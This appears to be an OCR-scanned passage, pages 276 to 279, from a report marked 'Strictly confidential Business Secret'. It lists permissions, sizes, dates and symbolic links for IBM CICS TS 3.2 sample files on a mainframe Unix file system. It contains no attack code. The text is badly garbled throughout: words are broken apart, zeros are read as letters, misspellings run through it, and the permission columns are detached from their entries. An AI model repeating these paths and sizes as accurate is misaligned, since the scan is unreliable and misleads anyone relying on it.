
507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/s a m p l es/dfjc i cs/M a k efi le  l in k to /usr/ lp p/ci csts/c i csts32/s a m p l es/dfjcics/ I B M/DFJ @ H024 

507700 O Oct 1 6  2007 /usr/ lpp/ci csts/ci csts3 2/sa m p l es/dfjc ics/Progra mControl . ma k  l i n k  to /usr/ lpp/cicsts/ci csts32/sa m p l es/dfj c i cs/ I B M/DFJ @ H 014 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjci cs/TDQ. m a k  l i n  k to /usr/lpp/ci csts/ci csts32/s a m pl es/dfjc ics/I B M/ D FJ @ H 0 1 5  

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts 3 2/sa m p l es/dfjci cs/TSQ. m a k  l in k to /usr/l p p/cicsts/c icsts32/s a m p les/dfjc ics/I B M/DFJ @ H 0 1 6  

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjci cs/W e b . m a k  l ink to /usr/l pp/ci csts/c icsts3 2/s a m pl es/dfjc ics/I B M/ D FJ @ H 175 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjcorb/ 

507700 O M a y  15 2008 /usr/ lpp/ci csts/ci csts32/s a m p l es/dfjcorb/Ba n kAccou nt/ 

Strictly contident ia  l l Bus i ness Secret l 

Sidan 276 av 574 



d rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

507700 O Oct 1 6  2007 /usr/l p p/cicsts/ci csts32/s a m p l es/dfjcorb/B a n kAcco u nt/javac l ie nt/ 

Report 

507700 5279 Oct 16 2007 /usr/l pp/ci csts/cicsts3 2/sa m pl es/dfjcorb/Ba n kAccou nt/javac l i e nt/ba n k l i n e ModeC i i e nt . java 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjcorb/Ba n kAcco u nt/javac l i e nt/I B M/ 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjcorb/B a n kAccou nt/j avac l i e nt/I B M/ D FJ @ H006 1 i n k  t o  

/usr/ lpp/cicsts/c icsts32/s a m p l e s/dfjcorb/Ban kAccou nt/java c l i e nt/ ban kli n e ModeC i i e nt .java 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/s a m p l es/dfjcorb/B a n kAccou nt/server/ 

507700 9895 Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m ples/dfjcorb/Ba n kAccou nt/server/ _Ban kAcc o u nt l m p l .java 

507700 2375 Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjcorb/Ba n kAccou nt/server/ _Ba n kAccou ntlist l m p l .j a va 

507700 4380 Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjcorb/Ba n kAccou nt/server/Acco u nt Record.java 

507700 4019 Oct 16 2007 /usr/l pp/ci csts/cicsts3 2/sa m p l es/dfjcorb/Ba n kAccou nt/se rver/CreditChec kCo m m a .java 

507700 O Oct 16 2007 /usr/l pp/ci csts/c i csts32/s a m p l es/dfjcorb/Ba n kAcco u nt/se rver/ I B M/ 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjcorb/Ba n kAccou nt/server/ I B M/DFJ @ H 007 1 i n k  t o  

/usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjcorb/B a n kAccou nt/server/ _Ban kAcco u n t l m p l .java 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/sa m p l es/dfjcorb/Ban kAccou nt/s erver/ I B M/DFJ @ H 008 1 i n k  to 

/u s r  / l p p/ ci csts/ c i csts3 2/sa m p les/ dfjcorb/Ba n kAccou nt/se rve r f _B a n kAcco u ntlistl  m p l .java 

Sidan 277 av 574 

h rwxr-xr-x O O 507700 O O et 16 2007 /u sr  / l p p/cicsts/cicsts3 2/sa m p l es/dfjcorb/B a n kAcco u nt/server/ I B M/DF J @  H 009 l i n  k to /usr/ lpp/cicsts/c icsts3 2/sa m p l es/ dfjcorb/B a n kAcco u n t/server/ Accou ntRecord .java 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/ lpp/ci csts/ci csts3 2/s a m p les/dfjcorb/Ba n kAcco u nt/server/I B M/DFJ @ H010 l i n k  to 

/u sr  / l  p p/ c i ests/ c i csts32/sa m p l es/ dfjcorb/Ba n kAccou n t/ serve r /CreditC heckCom ma .java 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

-rwxr-xr-x O O 

507700 1 164 Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjcorb/ B a n kAccou nt/server/ I B M/ D FJ @ H 0 1 1  

507700 2616 O c t  16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjcorb/Ba n kAccou nt/server/ I B M / D FJ @ H 012 

507700 O O et 1 6  2007 /u s r  / lpp/ci csts/ci csts3 2/sa m p l es/dfjcorb/Ba n kAcco u nt/s erver/Ma kefi l e  l i n  k t o  /u sr  / lpp/cicsts/ci csts3 2/sa m p l es/ dfjcorb/B a n kAcco u n t/server/I B M/ D FJ @  H 0 1 1  

507700 O Oct 16 2007 /usr/l pp/ci csts/cicsts32/s a m p l es/dfjcorb/Ba n kAccou nt/s erver/Ma kefi l e . ba n k  l ink to / us r/ lpp/ci csts/cicsts 3 2/sa m p l es/dfjcorb/B a n kAccount/server/I BM/DFJ @ H 0 1 2  

507700 2 163 May 15 2008 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjcorb/Ba n kAcco u n t/Ba n kAcc o u nt . i d l  

Str ict ly contident ia  l l Bus i ness Secret l 



d rwxr-xr-x O O 

h rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

507700 O Oct 16 2007 /usr/ lpp/ci csts/ci csts32/s a m p l es/dfjcorb/Ba n kAcco u nt/ I B M/ 

Report 
Sidan 278 av 574 

507700 O May 15 2008 / u  s r  / lpp/ci csts/c icsts3 2/sa m pl es/dfjcorb/Ba n kAccou nt/I B M/ D FJ @  H005 l in k to /usr/l pp/ ci csts/ci csts32/sa m p l es/ dfjcorb/Ba n kAcco u nt/Ba n kAcco u n t . i d l  

507700 2739 O e t  16 2 0 0 7  /usr/l pp/cicsts/c icsts3 2/s a m p l es/dfjcorb/CoslifeCycl e . i d l  

507700 2615 O c t  1 6  2007 /usr/l pp/ci csts/c icsts3 2/sa m p l es/dfjcorb/Cos N a m i ng . id l  

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/sa m p l es/dfjcorb/H e l l oWorld/ 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/c i csts32/s a m p l es/dfjcorb/H e l l oWorld/c l i e nt/ 

507700 

507700 

507700 

507700 

507700 

507700 

507700 

507700 

507700 

507700 

507700 

507700 

3827 Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjcorb/ H e l l oWorld/c l i e nt/ H e l l oWorldC i i ent .java 

O Oct 1 6  2007 /usr/l pp/cicsts/c i csts32/s a m p l es/dfjcorb/ H e l l oWorld/c l i e nt/I BM/ 

O O et 1 6  2007 l u s r  /l p p/ c i csts/ c i csts3 2/sa m p l es/ dfjcorb/H e l l oWorld/ el  i ent/1 B M/D F J @  H03 2 l i n k  to l u sr  /l p p/ ci csts/ c i csts32/s a m p l es/ dfj corb/H e l l oWorld/ c l i ent/H e l l oWorldCi ient .java 

O Oct 1 6  2007 /usr/ lpp/cicsts/c icsts32/s a m p l es/dfjcorb/ H e l l oWorl d/server/ 

1193 Oct 16 2007 /usr/ lpp/cicsts/ci csts3 2/sa m p l es/dfjcorb/H e l l oWorl d/s erver/ _H e l l oWorl d l m p l .java 

O Oct 16 2007 /usr/l pp/cicsts/ci csts3 2/sa m p l es/dfjcorb/ H e l l oWorl d/server/ I B M/ 

O O et 16 2007 /usr/ lpp/ci csts/cicsts 32/sa m p l es/dfjcorb/ H e l l oWorl d/serve r/I B M/ D FJ @  H 0 3 1  l i n  k to /u sr /l pp/cicsts/cicsts3 2/sa mpl es/dfjcorb/ H e l l oWorld/server/ _H e l l oWo r l d l m p l .java 

1 145 Oct 16 2007 /usr/l pp/cicsts/ci csts3 2/sa m p l es/dfj c orb/H e l l oWorld/server/I B M / D FJ @  H033 

1716 Oct 16 2007 /usr/ lpp/ci csts/ci csts32/s a m ples/dfjcorb/Hel loWorld/server/I B M / D FJ @ H034 

O O et 16 2007 /u sr  / lpp/ci csts/c icsts3 2/sa m p l es/dfjcorb/H e l l oWorl d/server /Ma kefi l e  l i n  k to l u sr  / lpp/cicsts/cicsts3 2/sa m p l es/ dfjcorb/H e l l oWorld/server/ I B M/ D FJ @ H033 

O O et  16 2007 /usr/l pp/ci csts/cicsts3 2/sa m p l es/dfjcorb/ H e l l oWorl d/se rve r/M a  kefi l e . h e l l o  l in  k to l usr/ lpp/ci csts/ci csts3 2/s a m p l es/ dfjcorb/ H e l l oWorl d/server/I B M/ D FJ @ H 034 

879 Oct 16 2007 /usr/l pp/ci csts/c icsts3 2/sa m p l es/dfjcorb/H e l l oWorld/H el loWorl d . i d l  

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/s a m p l es/dfjco rb/H e l l oWorld/I B M/ 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjcorb/H el loWorld/I B M/DFJ @ H 030 l in k to /usr/ lpp/cics ts/ci csts32/sa mpl es/dfjcorb/ H e l l oWorld/ H e l l oWorl d . i d l  

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/sa m p l es/dfjcorb/ I BM/ 

Strict ly conti dent ia  l l Bus i ness Secret l 



h rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

-rwxr-xr-x O O 

h rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

Repon 

507700 O Oct 16 2007 /usr/ lpp/ci csts/ci csts32/s a m p l es/dfjcorb/I BM/DFJ @ H028 1 i n k  to /usr/ lpp/ci csts/ci cst s3 2/sa m pl es/dfjcorb/Cos N a m i ng . id l  

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/sa m p l es/dfjcorb/ IBM/DFJ @ H029 I i n k  to /usr/ lpp/ci csts/ci csts32/s a m p les/dfjcorb/Cos lifeCycl e . i d l  

507700 O Oct 1 1  2007 /usr/ lpp/ci csts/c icsts32/s a m p l es/ejb/ 

507700 O Oct 16 2007 /usr/l pp/cicsts/cicsts3 2/sa m p l es/ej b/bankaccou nt/ 

507700 20 1405 Oct 16 2007 / usr/l p p/ci csts/cicsts32/samples/ej b/bankaccou nt/ea b l i b .j a r  

507700 14930 O c t  1 6  2007 /usr/ l p p/cicsts/ci csts32/s a m p l es/ej b/ba n kacc o u nt/re a d m e.txt 

507700 142804 Oct 16 2007 / usr/l pp/ci csts/cicsts3 2/sa m p l es/ej b/bankaccou nt/recjava .j a r  

507700 25629 Oct 16 2007 /usr/lp p/ci csts/ci csts3 2/sa mples/ej b/ba n kaccou nt/Cics5a m p l e . e a r  

507700 O Oct 1 6  2007 /usr/l pp/cicsts/ci csts32/s a m p les/ej b/ba n kaccou nt/I BM/ 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/ej b/ba n kaccou nt/I BM/DFJ @ H 1 1 6 1 i n k  to /usr/ lpp/cics ts/c icsts3 2/sa m p l es/ej b/ba n kaccou nt/ea b l i b .j a r  

507700 O Oct 16 2007 /usr/l pp/ci csts/c icsts32/s a m p l es/ej b/bankaccou nt/I BM/DFJ @ H l 1 7 1 i n k  to /usr/l pp/cics ts/ci csts3 2/sa mpl es/ej b/ba n kaccou nt/recjava.j a r  

507700 5 1954 O c t  16 2007 /usr/l p p/cicsts/ci csts3 2/sa m ples/ej b/ba nkaccount/ I B M/ D FJ @ H l 1 8  

507700 O Oct 16 2007 /usr/l pp/cicsts/c icsts32/s a m p l es/ej b/bankaccou nt/I BM/DFJ @ H l 19 l i n k  to /usr/ lpp/cics ts/ci csts32/sa m p l es/ej b/ba n kaccou nt/Cics5a m p l e . e a r  

507700 29 3648 O c t  16 2 0 0 7  /usr/l pp/ci csts/cicsts32/sa mples/ejb/ba nkaccount/ I B M / D FJ @ H 141 

507700 7567 Oct  16 2007 /usr/l pp/ci csts/ci csts32/sa m p l es/ej b/ba n kacco u n t/ I B M/DFJ @ H 142 

507700 O Oct 16 2007 /usr/ lpp/ci csts/cicsts32/s a m p l es/ej b/ b a n kaccount/ I BM/DFJ @ H 144 1 i n k  to /usr/ lpp/cicsts/c icsts32/s a m p l es/ej b/ba n kaccou nt/r e a d m e .txt 

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts3 2/sa m p l es/ej b/bankaccou nt/S a m p l eCLI . jar  l in k to /usr/l pp/ci csts/ci csts32/s a m p l es/ejb/ba nkaccou nt/I B M/DFJ @ H 142 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/ej b/ba n kaccou nt/Sa m p l e EJ B .j a r  l ink to /usr/l p p/cic sts/ci csts3 2/sa m p les/ej b/ba nkaccount/ I B M/DFJ @ H 1 1 8  

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/ej b/bankaccou nt/S a m p l eVAJ .dat  l ink to /usr/l pp/cic sts/ci csts32/s a m ples/ej b/ba nkaccount/ I B M/DFJ @ H 14 1  

507700 O Oct 1 6  2007 /usr/l pp/ci csts/cicsts3 2/sa m p l es/ejb/hel loworld/ 

507700 1 1 3 3 9  Oct 1 6  2007 /usr/lp p/ci csts/c icsts3 2/sa mpl es/ej b/he l loworld/read m e .txt 

Strict ly contident ia  l l Bus i ness Secret l 

Sidan 279 av 574 



-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

507700 4908 Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/ej b/ h e l l oworld/r u n EJ B IVP 

507700 2 1803 Oct 1 6  2007 /usr/ l p p/ci csts/ci csts32/s a m p l es/ej b/ h e l l oworld/CICS H e l l oWorl d . ea r  

507700 16309 O c t  16 2007 /usr/l p p/cicsts/ci csts32/sampl es/ej b/ h e l l oworld/Hel loWorldCLJ . jar  

507700 38164 Oct 16 2007 /usr/l p p/ci csts/ci csts32/sa m p l es/ej b/h e l l oworld/ H e l l oWorl d EJ B .j a r  

507700 O Oct 16 2007 /usr/l pp/ci csts/cicsts3 2/sa m p l es/ej b/he l loworld/I BM/ 

Report 

507700 O Oct 16 2007 /usr/l pp/cicsts/cicsts 3 2/sa m p l es/ej b/ h e l l oworld/I BM/DFJ @ H073 I i n k  to /usr/l p p/cicsts/ci csts32/s a m p les/ej b/h e l l oworld/H e l l oWorl d EJ B.j a r  

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/sa m p l es/ej b/he l l oworld/I BM/DFJ @ H 074 1 i n k  to /usr/ l p p/cicst s/c icsts32/s a m p l es/ej b/h e l l oworld/H e l l oWorl dCLJ .j a r  

507700 O Oct 16 2007 /usr/l pp/ci csts/cicsts3 2/sa m p l es/ej b/h e l l oworld/ I B M/ D FJ @ H075 I i  n k  to /usr/l p p/cicst s/c icsts32/sampl es/ej b/ h e l l oworld/C I CS H e l l oWorld .ear  

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/sa m p les/ej b/hel loworld/I BM/DFJ @ H 140 l ink to /usr/l p p/cicsts/ci csts32/sa m p l e s/ej b/h e l l oworld/ru n EJ B IVP 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/ej b/he l loworl d/I B M/D FJ @ H 143 I i n k  to /usr/ l p p/ci csts/ci csts32/s a m p l es/ej b/h e l l oworld/rea d m e.txt 

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/s a m p l es/j d bc/ 

507700 5572 Oct 16 2007 /usr/ l p p/ci csts/ci csts32/sa m pl es/j d bc/C ICSjd bcData5ource .java 

507700 5944 Oct 1 6  2007 /usr/l pp/ci csts/ci csts32/s a m p l es/jd bc/C I CSData5ource P u b l i s h .java 

507700 4879 Oct 16 2007 /u sr/l pp/ci csts/ci csts3 2/sa m p l es/jd bc/C I CSDataSourceRetract.java 

507700 7256 Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/j d bc/CICSDB2 Data5ource.j a r  

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/jd bc/I BM/ 

507700 O Oct 1 6  2007 /usr/ lpp/ci csts/ci csts32/s a m p l es/jdbc/ I B M/D FJ @ H 13 6 I i n k  to /usr/l p p/ci csts/cicsts32/sa m p l es/j d bc/CICS Data5ourceRetract.java 

507700 O Oct 16 2007 /usr/ lpp/cicsts/c icsts32/s a m p l es/jdbc/ I B M/D FJ @ H l37 l i n  k to /usr/ l p p/ci csts/ci csts3 2/sa m p l es/j d bc/C ICS Data5ou rce P u b l i sh .java 

507700 O Oct 16 2007 /usr/l pp/ci csts/c icsts32/s a m p l es/j d bc/I BM/DFJ @ H l38 1 i n k  to /usr/ l p p/ci csts/c icsts 3 2 /s a m p l es/j d bc/C ICSjdbcData5ource.java 

507700 O Oct 16 2007 /usr/l pp/ci csts/c i csts3 2/sa m p l es/jdbc/I BM/DFJ @ H l3 9 1 i n k  to /usr/ l p p/ci csts/cicsts3 2 /s a m p l es/j d bc/C I C S DB2 Data5ource.j a r  

507700 O Oct 1 6  2007 /usr/l pp/cicsts/c icsts3 2/sa m p l es/pi pe l i n es/ 
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-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

d rwxr-xr-x O O 

d rwxr-xr-x O O 

drwxr-xr-x O O 

d rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

507700 278 Oct 1 6  2007 /usr/l pp/cicsts/cicsts3 2/sa m p l es/p i p e l i nes/bas icsoa p l l provi d er.x m l  

507700 254 Oct 16 2007 /usr/ lpp/cicsts/cicsts3 2/sa m p l es/pi pe l i nes/basi csoa p l l req uester.x m l  

507700 10880 O c t  16 2007 /usr/lp p/cicsts/ci csts32/samples/ p i p e l i nes/provi der .xsd 

507700 10209 Oct 16 2007 /usr/l p p/ci csts/ci csts32/s a m p l es/p i p e l i nes/req u ester .xsd 

507700 1859 Oct 16 2007 /us r/l pp/ci csts/ci csts32/s a m p l es/pi p e l i n es/wsatprov ider .xml  

507700 1678 Oct  1 6  2007 /usr/l pp/cicsts/ci csts3 2/sa m p l es/p i p e l i nes/wsatre q u ester.xml 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/pi pel i n es/ I B M/ 

Report 

507700 O Oct 16 2007 /usr/l pp/ci csts/c icsts32/sa m p l es/p i pe l i n es/ I B M/DFJ @ H 188 1 i n k  to /usr/ lpp/ci csts/cic sts32/sa m pl es/pi pel i nes/provider .xsd 

507700 O Oct 16 2007 /usr/ lpp/ci csts/c icsts32/s a m p l es/pi pel i n es/ I B M/DFJ @ H 189 I i n k  to /usr/l pp/ci csts/ci csts32/s a m p l es/p i p e l i nes/reque ster.xsd 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/pipel i n es/I B M/DFJ @ H 190 l i n  k to /usr/1 pp/ci csts/cicsts32/s a m p l es/pi pel i nes/basics o a p 1 1 provider .xml  

507700 O Oct 16 2007 /usr/l pp/ci csts/c icsts32/s a m p l es/p i pe l i n es/ I B M/DFJ @ H 19 1 I i n k  to /usr/ lpp/cicsts/c ic sts32/sa m pl es/pi pel i nes/bas icsoa p l l req u ester .xml  

507700 O Oct 1 6  2007 /usr/l pp/cicsts/ci csts3 2/sa m p l es/p i pe l i n es/I B M/DFJ @ H 207 1 i n k  to /usr/l pp/ci csts/ci csts 3 2/sa m pl es/p i pe l i nes/wsatprov ider .xml  

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts32/s a m p l es/pi pel i n es/ I B M/DFJ @ H 208 I i n k  to /usr/ lpp/ci csts/ci csts32/s a m p l es/pi pel i n es/wsatreq ueste r .xml  

507700 O Oct 11 2007 /usr/l pp/cicsts/c i csts3 2/sa m p l es/use routputc lass/ 

507700 O Oct 1 1  2007 /usr/l pp/ci csts/cicsts32/s a m p l es/usero utputcla ss/com/ 

507700 O Oct 11 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/useroutputclass/com/i b m/ 

507700 O Oct 1 1  2007 /usr/l pp/ci csts/ci csts32/s a m p l es/usero utputclass/com/ib m/ci cs/ 

507700 O Oct 1 6  2007 /usr/l pp/cicsts/ci csts32/s a m p l es/usero utputclass/com/i b m/cics/s a m p l es/ 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/useroutputcl ass/com/i b m/ci cs/s a m p l es/ I B M/ 

507700 1 1 608 Oct 16 2007 /usr/l p p/ci csts/ci csts3 2/sa m p l es/useroutputcl ass/com/ib m/cics/s a m p l es/ I B M/ D FJ @ H 166 

507700 8655 O et 16 2007 /usr/l pp/ci csts/cicsts3 2/sa m p l es/useroutputcla ss/co m/i bm/ci cs/sa m p l es/l BM/DFJ @ H 167 
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Report 

-rwxr-xr-x O O 507700 1 1 3 1 9  Oct 16 2007 /usr/ lp p/ci csts/cicsts32/s a m ples/useroutputclass/com/i b m/cics/sa m ples/ I B M/ D FJ @ H 173 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/useroutputclass/com/i b m/ci cs/sa m pl es/SJ M e rgedStre a m .java ! ink to 

l u sr  / lp  p/ c i csts/ c i  csts3 2/sa mples/useroutputclass/ co m/i b m/ ci cs/ sa m p l es/l BM/DF J @  H 166 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/useroutputclass/com/ib m/ci cs/s a m p les/SJ Strea m .java ! ink to 

l u sr / l p  p/ c i ests/ ci csts3 2/ sa mples/useroutputcl a ss/ co m/i b m/ c i cs/ sa m p l es/l BM/DF J @  H 173 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/s a m p l es/useroutputclass/com/i b m/ci cs/s a m ples/SJTaskStre a m . java ! ink to 

l u sr  /l  p p/ c i ests/ c icsts3 2/sa mples/useroutputcl ass/ co m/i b m/ cics/s a m  pl es/1 BM/DF J @  H 167 

d rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

507700 O Oct 1 1  2007 /usr/l pp/cicsts/ci csts32/s a m p l es/webservi ces/ 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/webservic es/c l i ent/ 

507700 5 2 1 7 6  Oct 16 2007 /usr/l p p/ci csts/c icsts32/s a m p les/webservi ces/c l i e nt/Dispatch0rderV6 . e a r  

507700 5 8 6 9 2 9  O c t  16 2 0 0 7  / u sr/l pp/ci csts/ci csts3 2/sa m p l es/w ebservi ces/c l i ent/ Exa mpleAppCi ient .ea r 

507700 185667 Oct 16 2007 / usr/l pp/ci csts/ci csts32/sa mpl es/webservi ces/c l i e nt/Exa mpleAppCi i entV6 . e a r  

507700 5 0 4 2 2  O c t  1 6  2 0 0 7  /usr/lp p/ci csts/ci csts32/s a m p l es/webservices/c l i ent/Exa mpleAppDispatch0rder.e a r  

507700 266077 Oct 16 2007 /usr/ lpp/ci csts/ci csts3 2/sa mples/webservi ces/c l i e nt/Exa mpleAp pWra pperCi ient .ear  

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts32/s a m p l es/webservi ces/c l i e nt/I BM/ 

507700 O Oct 16 2007 /usr/ lpp/ci csts/ci csts32/s a m p l es/webservices/c l i ent/I BM/DFJ @ H 220 ! i n k  to /usr/ lp p/ci csts /ci csts32/sa m ples/we bservi ces/c l i e nt/Exa m p l eAppCi ient .ear  

507700 O Oct 1 6  2007 /usr/l pp/ci csts/cicsts 3 2/sa m p l es/webservi ces/c l i e nt/I BM/DFJ @ H 2 2 1 1 i n k  to /usr/l p p/ci csts/ci csts32/sa m pl es/we bservi ces/c l i e nt/Exa m p l eA p p D i s patchO r d e r . e a r  

507700 O Oct 16 2007 /usr/l pp/ci csts/c i csts3 2/sa m p l es/webservi ces/c l ient/I B M/ D FJ @ H 2 2 2  ! i n k  to / usr/ l p p/cicsts/ci csts32/sa m ples/webservi ces/c l i e nt/Exa m p l eAppWra pperCi ient .ear  

507700 O Oct 16 2007 /usr/lpp/cicsts/cicsts3 2/sa m p l es/webservi ces/c l i e nt/I BM/DFJ @ H 225 ! i n k  to /usr/l p p/c icsts/ci csts3 2/sa m p l es/webservices/c l i e nt/Exa m p l eAppCi i entV6 . e a r  

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/webservi ces/c l i ent/I BM/DFJ @ H 226 1 i n k  to /usr/l p p/c icsts/ci csts3 2/sa m p l es/webservi ces/c l i e nt/Dispatch0rderV6.ear  

507700 O Oct 11 2007 /usr/l pp/cicsts/ci csts32/s a m p l es/webservi ces/wsb i n d/ 

507700 O Oct 16 2007 /usr/l pp/ci csts/c i csts32/sa m p l es/webservices/wsb i n d/provider/ 

507700 3808 O et 16 2007 /u s r  /l  p p/ c i csts/ c icsts3 2/ s a m  pl es/we bservi ces/wsbi  n d/ provide r l d i s patchOrderE n d poi nt .  w s b i  n d 

Str ict ly confident i a l  l Bus iness Secret l 



Report 

-rwxr-xr-x O O 507700 8552 Oct 1 6  2007 /usr/l pp/cicsts/c icsts3 2/sa m p l es/we bservi ces/ws b i n d/provi der/i n q u i reCata l og.ws b i n d  

-rwxr-xr-x O O 507700 5400 Oct 16 2007 /usr/lp p/cicsts/ci csts32/s a m p l es/webservices/wsbi nd/provider/i n q u i reCata logWra pper.ws b i n d  

-rwxr-xr-x O O 507700 8488 O et 16 2007 /u sr  / lpp/ci csts/ci csts32/s a m p l es/we bservices/wsbi nd/provider / i n q u i reS ing le .wsbi n d  

-rwxr-xr-x O O 507700 4736 Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/we bservi ces/ws b i n d/provi der/i n q u i reSingl eWra p per.ws b i n d  

-rwxr-xr-x O O 507700 6240 Oct 16 2007 /usr/l pp/ci csts/cicsts32/sa m ples/we bservi ces/wsb i n d/provider/p lace0rder.ws b i n d  

-rwxr-xr-x O O 507700 4176 O et 16 2007 /u sr  / lpp/ci csts/c icsts3 2/sa m p l es/webservi ces/wsbi nd/provi der/pl aceOrderWra pper.wsbi  n d 

d rwxr-xr-x O O 507700 O Oct 16 2007 /usr/ lpp/ci csts/ci csts32/s a m p l es/webservi ces/ws b i n d/provi der/ I B M/ 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/ lpp/ci csts/cicsts32/s a m p l es/webservi ces/wsb i n d/provider/I B M/DFJ @ H 202 Ii nk to 

/u sr  / l  p p/ c i csts/ ci csts3 2/sa mples/webservi ces/wsbi n d/provi der J d ispatchOrderEn d point .  w s b i  n d 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/ l p p/ci csts/cicsts32/sa m p l es/webservi ces/ws b i n d/provi d e r/I B M/DFJ @ H 203 l i n k  to 

l u sr  l l p p/ c i ests/ ci csts3 2/ sa m p le  s/ we b s e rvi ces/ws b i n d/ prov i der /i  n q u i reCata l og. wsb i n d 

